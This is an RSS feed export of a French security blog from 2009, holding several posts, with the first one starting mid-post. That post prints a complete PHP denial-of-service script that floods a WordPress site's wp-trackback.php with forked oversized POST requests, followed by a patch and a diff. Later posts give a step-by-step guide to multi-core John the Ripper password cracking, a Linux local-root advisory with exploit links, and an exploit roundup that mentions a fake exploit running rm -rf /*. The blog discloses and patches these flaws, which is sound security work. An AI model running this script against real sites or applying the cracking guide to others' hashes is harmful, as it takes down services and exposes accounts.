<p>Pour exploiter cette faiblesse dans notre faille, on va passer une chaine de 140 000 octets (soit 140 000 caractères) et on lui indique qu&#8217;il y a 23 333 charsets d&#8217;origine possible (&laquo;&nbsp;UTF-8,&nbsp;&raquo; fait 6 caractères, si on a 140 000 octets, on a 140 000/6 = 23 333.333). De fait, la fonction va parcourir 23 333 fois la chaine chaine_que_l&#8217;on_veut_convertir, et parcourir 23 333 cette chaine, ca sollicite le serveur, bien entendu :). Si l&#8217;on envoie la requête une fois, le serveur la traite, maintenant si on répète l&#8217;opération sur un délai très court le serveur apprécie moins. C&#8217;est bien entendu précisément ce que fait le script en utilisant fork qui divise en plusieurs processus et une boucle qui relance le processus initial une fois terminé.</p>
<pre name="code" class="php">
&lt;?
if(count($argv) &lt; 2)
die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) &lt; 2)
die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
$path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&amp;url=www.example.com';
$str .= '&amp;title='.$b;
$str .= '&amp;blog_name=lol';
$str .= '&amp;excerpt=lol';
for($n = 0; $n &lt;= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die("unable to connect to: ".$data['host']."\n");
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
}
}
?&gt;</pre>
<p>Pour l&#8217;enrayer inutile de désactiver les trackbacks car tout se passe avant. Il faut aller dans wp-trackback.php et trouver la ligne:</p>
<p><code>$charset = $_POST['charset'];</code></p>
<p>et la remplacer par:</p>
<p><code>$charset = str_replace(”,”,”",$_POST['charset']);<br />
if(is_array($charset)) { exit; }</code></p>
<p>Ce patch permet d&#8217;enlever les virgules, du coup le script n&#8217;a plus à tester les 23 333 charset_d_origine, mais un seul, inexistant. L&#8217;autre façon de passer un charset_d_origine à la fonction c&#8217;est un tableau, là on va pas faire dans la dentelle, si c&#8217;est un tableau, on exit.</p>
<p>Sinon vous pouvez toujours deny from all wp-trackback.php ;-)</p>
<p>L&#8217;exploit a été posté sur Full-Disclosure aujourd&#8217;hui à 14h30. Il semble avoir été découvert par <a href="http://rooibo.wordpress.com/" target="_blank">rooibo</a> et amélioré par <a href="http://blog.zerial.org" target="_blank">Zerial</a>. Ce n&#8217;est vraiment pas impossible que d&#8217;ici quelques jours de joyeux lurons s&#8217;amusent à attaquer les WordPress des bloggeurs &laquo;&nbsp;influents&nbsp;&raquo; les plus connus. Rooibo explique sur son blog qu&#8217;il a avertit l&#8217;équipe WordPress et que leur proposition de correctif ne lui a pas semblé viable.</p>
<p>Le correctif proposé est celui de roobio, je pense qu&#8217;il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu&#8217;un str_replace sur un array conduit à du path disclosure.</p>
<p><strong>Rapide update: WordPress vient de release la version 2.8.5.</strong></p>
<p>Voici le diff sur le fichier qui nous intéresse:<br />
<code>john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ > diff.diff<br />
diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php<br />
--- wordpress-2.8.4/wp-trackback.php	2008-05-25 17:50:15.000000000 +0200<br />
+++ wordpress-2.8.5/wp-trackback.php	2009-10-19 17:10:59.000000000 +0200<br />
@@ -50,7 +50,7 @@<br />
 $blog_name = stripslashes($_POST['blog_name']);</code><br />
 <code><br />
 if ($charset)<br />
-	$charset = strtoupper( trim($charset) );<br />
+	$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );<br />
 else<br />
 	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';<br />
 </code></p>
<p>Sinon j&#8217;ai fait le diff complet ici, car je ne trouve pas l&#8217;officiel chez WordPress: <a href="http://www.john-jean.com/blog/diffw84w85.diff" rel="nofollow">diff WordPress-2.8.4 WordPress 2.8.5</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254/feed</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>John the ripper multi-core grâce à Open MPI&#8230;</title>
		<link>http://www.john-jean.com/blog/crypto/john-the-ripper-multi-core-grace-a-open-mpi-233</link>
		<comments>http://www.john-jean.com/blog/crypto/john-the-ripper-multi-core-grace-a-open-mpi-233#comments</comments>
		<pubDate>Mon, 28 Sep 2009 12:33:44 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Crypto]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[comparatif]]></category>
		<category><![CDATA[cuda]]></category>
		<category><![CDATA[GPU]]></category>
		<category><![CDATA[john the ripper]]></category>
		<category><![CDATA[multi-core]]></category>
		<category><![CDATA[munin]]></category>
		<category><![CDATA[open-mpi]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=233</guid>
		<description><![CDATA[&#8230; ou comment multiplier la rapidité de bruteforce de John the Ripper par 8 ou plus. J&#8217;ai écrit il y a quelques temps, un billet présentant un comparatif des méthodes de bruteforce CPU / GPU sur des hashs de type MD5. J&#8217;avais expliqué que la méthode GPU (avec l&#8217;aide de cuda) explosait allègrement les méthodes [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="multicore" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/09/multicore-1.jpg" width="160" height="169" />&#8230; ou comment multiplier la rapidité de bruteforce de <a title="John the ripper" href="http://www.openwall.com/john/" target="_blank">John the Ripper</a> par 8 ou plus. J&#8217;ai écrit il y a quelques temps, un billet présentant un <a title="comparatif methode bruteforce md5 gpu cpu" href="http://www.john-jean.com/blog/crypto/bruteforcer-une-chaine-md5-nouvelles-methodes-et-comparatif-des-softs-159" target="_blank">comparatif des méthodes de bruteforce CPU / GPU</a> sur des hashs de type MD5. J&#8217;avais expliqué que la méthode GPU (avec l&#8217;aide de cuda) explosait allègrement les méthodes CPU, même avec du dual core. C&#8217;est toujours le cas. Sauf que cette méthode a ses limites: elle manque cruellement de softs permettant de bruteforcer tout et n&#8217;importe quoi. Le soft de référence pour avaler à peu près tous les hashs est John the ripper, mais il prend malheuresement assez cher face à des softs comme BarsWF. C&#8217;était sans compter sur un patch de <a title="bindshell.net" href="http://www.bindshell.net/" target="_blank">bindshell.net</a> qui permet d&#8217;exécuter autant d&#8217;instances du soft qu&#8217;on a de core.</p>
<p><span id="more-233"></span>
<p>Pour les besoins du boulot, nous avons monté un serveur relativement puissant et efficace: 16 Go de RAM et surtout du double quadruple coeurs (Intel Bi Xeon Quad 8x 2.00+ GHz). J&#8217;en ai donc profité pour tester l&#8217;objet de mes plus grands fantasmes :) (Bah oui, tout le monde n&#8217;a pas un 8 core sur son laptop, et les méthodes GPU sur un serveur sans CG&#8230;), et le résultat est sans appel:</p>
<p>Avant:</p>
<p><code>john-laptop:~/johntheripper/run# ./john -test<br />
Benchmarking: Traditional DES [128/128 BS SSE2-16]... DONE<br />
Many salts: 1912K c/s real, 1912K c/s virtual<br />
Only one salt: 1631K c/s real, 1631K c/s virtual</code></p>
<p>Après:</p>
<p><code>john-laptop:~/john-1.7.2-bp17-mpi8/run# mpirun -np 8 ./john -test<br />
Benchmarking: Traditional DES [128/128 BS SSE2-16]... DONE<br />
Many salts: 15269K c/s real, 15273K c/s virtual<br />
Only one salt: 12997K c/s real, 13000K c/s virtual</code></p>
<p>&nbsp;</p>
<p>Avant:</p>
<p><code>Benchmarking: BSDI DES (x725) [128/128 BS SSE2-16]... DONE<br />
Many salts: 62387 c/s real, 62512 c/s virtual<br />
Only one salt: 60723 c/s real, 60723 c/s virtual</code></p>
<p>Après:</p>
<p><code>Benchmarking: BSDI DES (x725) [128/128 BS SSE2-16]... DONE<br />
Many salts: 497326 c/s real, 496954 c/s virtual<br />
Only one salt: 484527 c/s real, 484527 c/s virtual</code></p>
<p>&nbsp;</p>
<p>Avant:</p>
<p><code>Benchmarking: FreeBSD MD5 [32/64 X2]... DONE<br />
Raw: 8592 c/s real, 8592 c/s virtual</code></p>
<p>Après:</p>
<p><code>Benchmarking: FreeBSD MD5 [32/64 X2]... DONE<br />
Raw: 68862 c/s real, 68844 c/s virtual</code></p>
<p>&nbsp;</p>
<p>Avant:</p>
<p><code>Benchmarking: OpenBSD Blowfish (x32) [32/64 X2]... DONE<br />
Raw: 518 c/s real, 518 c/s virtual</code></p>
<p>Après:</p>
<p><code>Benchmarking: OpenBSD Blowfish (x32) [32/64]... DONE<br />
Raw: 2415 c/s real, 2416 c/s virtual</code></p>
<p>&nbsp;</p>
<p>Avant:</p>
<p><code>Benchmarking: Kerberos AFS DES [48/64 4K]... DONE<br />
Short: 285330 c/s real, 285330 c/s virtual<br />
Long: 911564 c/s real, 911564 c/s virtual</code></p>
<p>Après:</p>
<p><code>Benchmarking: Kerberos AFS DES [48/64 4K]... DONE<br />
Short: 2281K c/s real, 2279K c/s virtual<br />
Long: 7241K c/s real, 7241K c/s virtual</code></p>
<p>&nbsp;</p>
<p>Avant:</p>
<p><code>Benchmarking: LM DES [128/128 BS SSE2-16]... DONE<br />
Raw: 9688K c/s real, 9688K c/s virtual</code></p>
<p>Après:</p>
<p><code>Benchmarking: NT LM DES [128/128 BS SSE2-16]... DONE<br />
Raw: 79468K c/s real, 79587K c/s virtual</code></p>
<p>&nbsp;</p>
<p>Et en bonus, juste pour la version 8 core cette fois:</p>
<p><code>Benchmarking: Apache MD5 [32/64 X2]... DONE<br />
Raw: 68674 c/s real, 68674 c/s virtual</code></p>
<p><code>Benchmarking: mysql [mysql]... DONE<br />
Raw: 20638K c/s real, 20643K c/s virtual</code></p>
<p><code>Benchmarking: Netscape LDAP SHA [SHA1]... DONE<br />
Raw: 14961K c/s real, 14961K c/s virtual</code></p>
<p><code>Benchmarking: NT MD4 [TridgeMD4]... DONE<br />
Raw: 18830K c/s real, 18844K c/s virtual</code></p>
<p><code>Benchmarking: Lotus5 [Lotus v5 Proprietary]... DONE<br />
Raw: 1204K c/s real, 1205K c/s virtual</code></p>
<p><code>Benchmarking: M$ Cache Hash [mscash]... DONE<br />
Raw: 12567K c/s real, 12567K c/s virtual</code></p>
<p><code>Benchmarking: Raw MD5 [raw-md5]... DONE<br />
Raw: 19448K c/s real, 19448K c/s virtual</code></p>
<p><code>Benchmarking: IPB2 MD5 [Invision Power Board 2.x salted MD5]... DONE<br />
Raw: 10592K c/s real, 10587K c/s virtual</code></p>
<p><code>Benchmarking: Eggdrop [blowfish]... DONE<br />
Raw: 136593 c/s real, 136627 c/s virtual</code></p>
<p><code>Benchmarking: Raw SHA1 [raw-sha1]... DONE<br />
Raw: 14720K c/s real, 14720K c/s virtual</code></p>
<p><code>Benchmarking: MS-SQL [ms-sql]... DONE<br />
Raw: 15442K c/s real, 15446K c/s virtual</code></p>
<p><code>Benchmarking: HMAC MD5 [hmac-md5]... DONE<br />
Raw: 5473K c/s real, 5477K c/s virtual</code></p>
<p><code>Benchmarking: WPA PSK [wpa-psk]... DONE<br />
Raw: 472 c/s real, 472 c/s virtual</code></p>
<p><code>Benchmarking: Netscape LDAP SSHA [salted SHA1]... DONE<br />
Raw: 14922K c/s real, 14926K c/s virtual</code></p>
<p>Ca c&#8217;est pour la théorie. Maintenant pour la pratique, j&#8217;ai encodé via htpasswd le mot de passe suivant <em>blogjohn</em>; et j&#8217;ai testé la vitesse de bruteforce avec les deux logiciels, le classique et le multi-thread donc.</p>
<p><span style="TEXT-DECORATION: underline">John the ripper:</span></p>
<p><code>guesses: 1 time: 0:11:01:58 c/s: 1704K trying: blogji1X - blogjoek<br />
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])<br />
blogjohn (john)</code></p>
<p><strong>Soit 11h01 de travail.</strong></p>
<p><span style="TEXT-DECORATION: underline">John the ripper n-core (ici 8, bindshell.net):</span></p>
<p><code>thread: 0 guesses: 1 time: 0:01:27:22 c/s: 1702K trying: blogjim9 - blogjone</code></p>
<p><strong>Soit 1h30 de travail !</strong></p>
<p>Je sors un petit graphique de munin pour l&#8217;occasion, le premier histo est donc le john classique et le second le multi-core. Pour la petite histoire, cela a bien duré 1h30, mais on continue de voir une utilisation CPU parce que je n&#8217;ai pas stoppé les 7 autres threads.</p>
<p><img alt="johntheripper" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/09/johntheripper.png" width="450" height="311" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Donc pour conclure, comment on utilise la bête ?</p>
<p>Tout d&#8217;abord on récupère le john tunné pour l&#8217;occasion (il est aussi disponible sous forme de diff à appliquer, au choix):</p>
<p><code>wget <a href="http://www.bindshell.net/tools/johntheripper/john-1.7.2-bp17-mpi8.tar.gz">http://www.bindshell.net/tools/johntheripper/john-1.7.2-bp17-mpi8.tar.gz</a></code></p>
<p>On untar:</p>
<p><code>tar zxvf john-1.7.2-bp17-mpi8.tar.gz</code></p>
<p>Ensuite on installe <a title="libopenmpi-dev" href="http://packages.debian.org/fr/sid/libopenmpi-dev" target="_blank">libopenmpi-dev</a> pour compiler cette version de john sinon on a pas mpicc et <a title="open mpi" href="http://www.open-mpi.org/" target="_blank">openmpi-bin</a> pour utiliser mpirun:</p>
<p><code>apt-get install libopenmpi-dev<br />
apt-get install openmpi-bin</code></p>
<p>Puis on compile john:</p>
<p><code>cd john-1.7.2-bp17-mpi8/src/<br />
make //ici il va vous lister les possibilités de compilation optimisée selon votre OS, ce qui donne chez moi:<br />
make clean linux-x86-64<br />
cd ../run</code></p>
<p>Et enfin, notre salvateur:</p>
<p><code>mpirun -np &lt;NUMPROCS&gt; ./john -i pass.txt //&lt;NUMPROCS&gt; correspond bien entendu au nombre de core que vous avez à disposition.</code></p>
<p>Voilà amusez vous bien, et ne le faites pas tourner n&#8217;importe où, comme vu sur le graph, ca fera hurler munin et tous les softs de monitoring du sysadmin ;)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/crypto/john-the-ripper-multi-core-grace-a-open-mpi-233/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Linux NULL pointer dereference due to incorrect proto_ops initializations, Cocorico !</title>
		<link>http://www.john-jean.com/blog/securite-informatique/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216#comments</comments>
		<pubDate>Sun, 16 Aug 2009 02:21:04 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sysadmin]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[deference]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[grsecurity]]></category>
		<category><![CDATA[hole]]></category>
		<category><![CDATA[IPv6]]></category>
		<category><![CDATA[julien tinnes]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[linus torvalds]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[null]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/divers/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216</guid>
		<description><![CDATA[Voici une faille sortie il y a maintenant trois jours (pas eu le temps de blogger le jour même) qui va assez facilement alimenter les propos de news0ft. Il expliquait avec intellect la fuite des cerveaux Français en matière de sécurité informatique pour des causes diverses et variées que je vous laisse découvrir dans l&#8217;article. [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="coq2" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/08/coq2.gif" width="160" height="155" />Voici une faille sortie il y a maintenant trois jours (pas eu le temps de blogger le jour même) qui va assez facilement alimenter les <a title="Echec de la sécurité francaise" href="http://news0ft.blogspot.com/2009/07/lechec-de-la-securite-francaise.html">propos</a> de <a href="http://news0ft.blogspot.com">news0ft</a>. Il expliquait avec intellect la fuite des cerveaux Français en matière de sécurité informatique pour des causes diverses et variées que je vous laisse découvrir dans <a title="Echec de sécurité Francaise" href="http://news0ft.blogspot.com/2009/07/lechec-de-la-securite-francaise.html">l&#8217;article</a>. Il cite en dehors de Kostya Kortchinsky, Nicolas Pouvesle, <a href="http://www.msuiche.net">Matthieu Suiche</a> , Nicolas Brulez, un certain Julien Tinnès :-) Et il s&#8217;avère que ce Julien Tinnès est l&#8217;un des co-découvreur de cette faille qui risque de bien dépanner quelques l33t hax0r, et de ravir tous les pen-testeurs de la planète au grand désespoir de leurs clients.</p>
<p><span id="more-216"></span>
<p>Cette faille permet depuis un simple compte utilisateur de passer root. Et la mauvaise nouvelle c&#8217;est que cela affecte la plupart des kernels supportant IPv6 (bon ca c&#8217;est la version édulcorée, en vrai c&#8217;est le protocole qui gère Bluetooth, PPPoX, IRDA et autres joyeusetés); c&#8217;est à dire:</p>
<p>- Linux 2.4, de 2.4.4 jusqu&#8217;à 2.4.37.4 compris.<br />
- Linux 2.6, de 2.6.0 jusqu&#8217;à 2.6.30.4 compris.</p>
<p>C&#8217;est donc un monstre de dangerosité. Inutile de se lancer dans des élucubrations sur la faille en elle même, elle est bien évidemment largement documentée par ses auteurs: <a href="http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html">http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html</a> ou surtout <a href="http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html">le blog de julien</a> (qui doit voir son PR exploser).</p>
<p>- return sock-&gt;ops-&gt;sendpage(sock, page, offset, size, flags);<br />
+ return kernel_sendpage(sock, page, offset, size, flags);</p>
<p>Cette ligne suffit à corriger la faille dans le kernel, patchée d&#8217;ailleurs par Sieur Torvalds himself. Le patch <a title="Patch Linus Torvalds" href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=e694958388c50148389b0e9b9e9e8945cf0f1b98">est ici</a>.</p>
<p><img alt="bleh" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/08/bleh-1.png" width="450" height="281" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Cette faille provoque bien évidemment une patch party chez les hébergeurs sérieux ayant avertis leurs clients. Par exemple OVH a avertis par mailing mais également sur le <a href="http://forum.ovh.com/showthread.php?t=50120">forum</a>. Ils mettent à disposition une version recompilée du noyau sur <a href="ftp://ftp.ovh.net/made-in-ovh/bzImage/">ftp://ftp.ovh.net/made-in-ovh/bzImage/</a>.</p>
<p>Je vous encourage vivement à mettre à jour vos systèmes. L&#8217;exploit est en effet disponible sur <a href="http://www.milw0rm.com/exploits/9435">milw0rm,</a> <a href="http://www.milw0rm.com/exploits/9436">[2]</a>. Enfin dernière chose amusante, l&#8217;auteur du premier exploit est <a href="http://fr.wikipedia.org/wiki/Brad_Spengler">Brad Spengler</a>, oui oui l&#8217;auteur de Grsecurity (Un patch qui permet d&#8217;ajouter des fonctions de sécurité au kernel). D&#8217;ailleurs les kernels tournant avec GRS ne sont pas faillibles :-) Pied de nez aux personnes n&#8217;étant pas disposées à réduire un peu les performances pour améliorer la sécurité de leurs serveurs.</p>
<p>Juste pour information sur mon introduction, <a href="http://blog.cr0.org/">Julien Tinnes</a> n&#8217;est pas à son premier <a href="http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html">coup d&#8217;essai</a>, <a href="http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html">[2]</a>, <a href="http://blog.cr0.org/2009/05/write-once-own-everyone.html">[3 !]</a>. Il travaille désormais chez Google comme Ingénieur Securité après avoir fait un passage chez Orange Labs. Décidément pas de chaussure au pieds des ingés sécurité en France ?</p>
<p>Sur ce, bonne lecture et bon tests.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Non je ne suis pas mort. Pas encore en tout cas :)</title>
		<link>http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195#comments</comments>
		<pubDate>Sat, 18 Jul 2009 07:47:01 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[l0phtcrack]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[slowlaris]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195</guid>
		<description><![CDATA[Presque 3 mois sans poster, j&#8217;ai fait une petite rechute. Tiens en parlant de chute, j&#8217;ai une bonne excuse, je me suis cassé l&#8217;olécrane lors d&#8217;une ballade à vélo. Ca explique (en partie) ma non-présence sur le blog :) Cette fracture m&#8217;a encore appris plein de choses en medecine, je reste vraiment persuadé qu&#8217;il faut [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="hihi" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/07/hihi-1.jpg" width="220" height="158" /></p>
<p>Presque 3 mois sans poster, j&#8217;ai fait une petite rechute. Tiens en parlant de chute, j&#8217;ai une bonne excuse, je me suis cassé l&#8217;olécrane lors d&#8217;une ballade à vélo. Ca explique (en partie) ma non-présence sur le blog :)</p>
<p>Cette fracture m&#8217;a encore appris plein de choses en medecine, je reste vraiment persuadé qu&#8217;il faut profiter de chacune des épreuves que la vie nous envoie pour se documenter au maximum dessus. Ainsi je suis devenu expert en <a href="http://www.maitrise-orthop.com/viewPage.do?id=742" target="_blank">brochage / cerclage / haubanage</a>, <a href="http://www.vulgaris-medical.com/encyclopedie/pseudarthrose-3870.html" target="_blank">pseudarthrose</a> et plein <a href="http://books.google.fr/books?id=rocj-Jzt43kC&amp;pg=PA157&amp;lpg=PA157&amp;dq=fracture+ol%C3%A9crane+pseudarthrose&amp;source=bl&amp;ots=R9IZpgykzd&amp;sig=jUvQ8kMq_Up1o7pX8U59cywK03g&amp;hl=fr&amp;ei=f9JhSs2NIdG6jAfLhvX8Dw&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=9" target="_blank">d&#8217;autres choses amusantes</a>.</p>
<p><span id="more-195"></span>
<p>J&#8217;ai quand même gardé un oeil attentif sur l&#8217;ensemble de (belles) choses étant sorties au cours de ces trois mois. Sans être exhaustif, j&#8217;ai trouvé sympa:</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><a href="http://ha.ckers.org/blog/20090617/slowloris-http-dos/" target="_blank">Le Dos Apache Slowlaris.pl</a> qui est vaguement lié à <a href="http://blog.madpowah.org/archives/2009/06/22/index.html#e2009-06-22T00_57_24.txt">TCP Handshake flood</a>.</li>
<li><a href="http://www.milw0rm.com/exploits/8921" target="_blank">L&#8217;exploit phpmyadmin</a>, même s&#8217;il faut que l&#8217;admin ait choisi la wizard installation. Et a priori un <a href="http://www.milw0rm.com/exploits/8992" target="_blank">scanner</a> en a découlé.</li>
<li>L&#8217;énnormmmeeee foin que crée la <a href="http://isc.sans.org/diary.html?storyid=6742" target="_blank">(fake ?) hole openssh</a>. Chacun y est allé de son petit commentaire &laquo;&nbsp;Pas possible ?&nbsp;&raquo;, &laquo;&nbsp;Bruteforce ?&nbsp;&raquo;, &laquo;&nbsp;J&#8217;avais dit qu&#8217;il faut SSH par key !&nbsp;&raquo;. Ca a upgradé en cascade chez la plupart des hosteurs, y compris <a href="http://forum.ovh.com/showthread.php?t=49051" target="_blank">OVH</a>.</li>
<li>La <a href="http://www.googlebig.com/forum/careful-wordpress-all-version-xss-0day-t-18404.html" target="_blank">*faille* &lt;= 8.1 WordPress</a>. Bon il s&#8217;agit juste d&#8217;un XSS mais ca peut conduire à des attaques de phishing efficace.</li>
<li><a href="http://www.nmap.org" target="_blank">La sortie de nmap 5.0</a> qui rajoute tout plein de choses interessantes: Ncat, Ndiff, NSE. A découvrir dans la tarball.</li>
<li>La <a href="http://sqlmap.sourceforge.net/" target="_blank">RC 7 de sqlmap</a> et l&#8217;intégration de sqlmap dans la distribution debian. C&#8217;est vraiment une bonne chose.</li>
<li>Les deux failles navigateurs: <a href="http://www.milw0rm.com/exploits/9108" target="_blank">MS Internet Explorer 7 Video ActiveX Remote Buffer Overflow Exploit</a> et <a href="http://www.milw0rm.com/exploits/9137" target="_blank">Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow Exploit</a>. Là avec du code malveillant sur un site à trafic, il y <del>avait</del> a vraiment de quoi faire mal.</li>
<li>La sortie de <a href="http://www.l0phtcrack.com/" target="_blank">l0phtcrack 6</a>.</li>
<li>Des <a href="http://www.msuiche.net/2009/06/29/security-20-is-not-even-a-failure-it-is-a-nightmare/" target="_blank">failles sur twitter</a>, et surtout, le <a href="http://www.korben.info/hack-de-twitter-la-suite.html" target="_blank">piratage de twitter</a> qui a mis le serveur de Korben sur les rotules.</li>
<li>Et j&#8217;ai gardé le meilleur pour la fin, le <a href="http://blogs.securiteam.com/index.php/archives/1302" target="_blank">fake exploit OpenOwn.c</a> (basé sur le &laquo;&nbsp;buzz&nbsp;&raquo; de la faille OpenSSH, qui fait un joli rm -rf /*.</li>
<li>Tout plein d&#8217;autres choses que je n&#8217;ai pas le courage de mettre ici :)</li>
</ul>
<p></p>
<p>Passez un bon week end :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Empecher l&#8217;arp poisoning / arp spoofing / Détecter si quelqu&#8217;un sniffe votre réseau</title>
		<link>http://www.john-jean.com/blog/securite-informatique/empecher-larp-poisoning-arp-spoofing-detecter-si-quelquun-sniffe-votre-reseau-184</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/empecher-larp-poisoning-arp-spoofing-detecter-si-quelquun-sniffe-votre-reseau-184#comments</comments>
		<pubDate>Tue, 28 Apr 2009 15:47:38 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[arp poisoning]]></category>
		<category><![CDATA[ettercap]]></category>
		<category><![CDATA[snif]]></category>
		<category><![CDATA[sniffing]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/empecher-larp-poisoning-arp-spoofing-detecter-si-quelquun-sniffe-votre-reseau-184</guid>
		<description><![CDATA[Partant du postulat qu&#8217;aucun réseau n&#8217;est fiable, je suis souvent pris de crise de paranoïa. En effet, comment savoir si le Wifi sur lequel je suis connecté à l&#8217;hôtel ou dans un café n&#8217;est pas victime de sniff d&#8217;un petit bidouilleur du coin. Au final, ce schéma n&#8217;est pas si paranoïaque que cela, le bidouilleur [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="tick-icon" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/07/tick-icon-1.jpg" width="160" height="158" /></p>
<p>Partant du postulat qu&#8217;aucun réseau n&#8217;est fiable, je suis souvent pris de crise de paranoïa. En effet, comment savoir si le Wifi sur lequel je suis connecté à l&#8217;hôtel ou dans un café n&#8217;est pas victime de sniff d&#8217;un petit bidouilleur du coin. Au final, ce schéma n&#8217;est pas si paranoïaque que cela, le bidouilleur en question peut tout a fait avoir <a title="Craquer clé wep avec airodump aircrack" href="http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37" target="_blank">cracké la clé wep</a> de la connexion et sniffer tout ce qui passe sur le réseau à mon insu.</p>
<p>Je ferai prochainement un billet sur les attaques de type Man in The Middle, en attendant voici pour la théorie sur l&#8217;ARP poisoning.</p>
<p><span id="more-184"></span>
<p>Grosso modo le sniffing repose sur une faiblesse du protocole ARP. Sans entrer dans les détails, ce protocole sert à gérer l&#8217;association des adresses MAC / IP. Si vous tapez arp -a dans votre shell, vous verrez la plage ARP que votre ordinateur a en cache. Donc dans l&#8217;idée, si ce cache est vide, j&#8217;envoie une requête broadcasté pour émettre ma trame = &gt; tous les ordinateurs du réseau sont au courant de cette requête et l&#8217;ordinateur concerné me renvoie son adresse MAC; après association, ma trame est envoyée. Si j&#8217;ai déjà l&#8217;association en cache, ma trame est envoyée immédiatement.</p>
